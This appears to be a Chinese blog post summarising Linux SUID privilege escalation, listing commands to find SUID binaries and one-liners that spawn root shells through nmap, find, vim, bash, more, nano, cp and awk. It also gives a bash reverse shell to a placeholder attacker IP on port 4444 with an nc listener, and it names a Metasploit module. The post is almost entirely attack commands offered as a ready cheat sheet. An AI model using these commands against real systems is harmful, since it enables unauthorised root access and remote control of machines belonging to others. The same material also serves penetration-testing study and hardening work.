suid提权梳理

参考文章: https://www.freebuf.com/articles/web/272617.html

SUID的概念,不多赘述。

查找具有suid权限的可执行文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

执行suid程序时若能执行命令,则可以利用。

nmap

进入交互模式: nmap --interactive

进入交互模式后,可以执行 !sh拿到shell:

nmap> !sh

msf当中也有利用nmap进行提权的模块:exploit/unix/local/setuid_nmap

find

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find anyfile -exec '/bin/sh' \;

也可以搭配nc反弹shell

find anyfile -exec bash -c 'bash -i >& /dev/tcp/攻击端IP/4444 0>&1' \;

攻击端:

nc -lvvp 4444

vim

:set shell = '/bin/sh'
:shell

bash

bash -p
bash-3.2# 

more & less

需要读取一个比较大的文件进入翻页功能

more /etc/passwd
#在more中输入:
!/bin/sh

nano

nano #进入nano编辑器
Ctrl + R
Ctrl + X 

cp

用来覆盖旧的/etc/passwd

awk

awk 'BEGIN {system("/bin/bash")}'
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值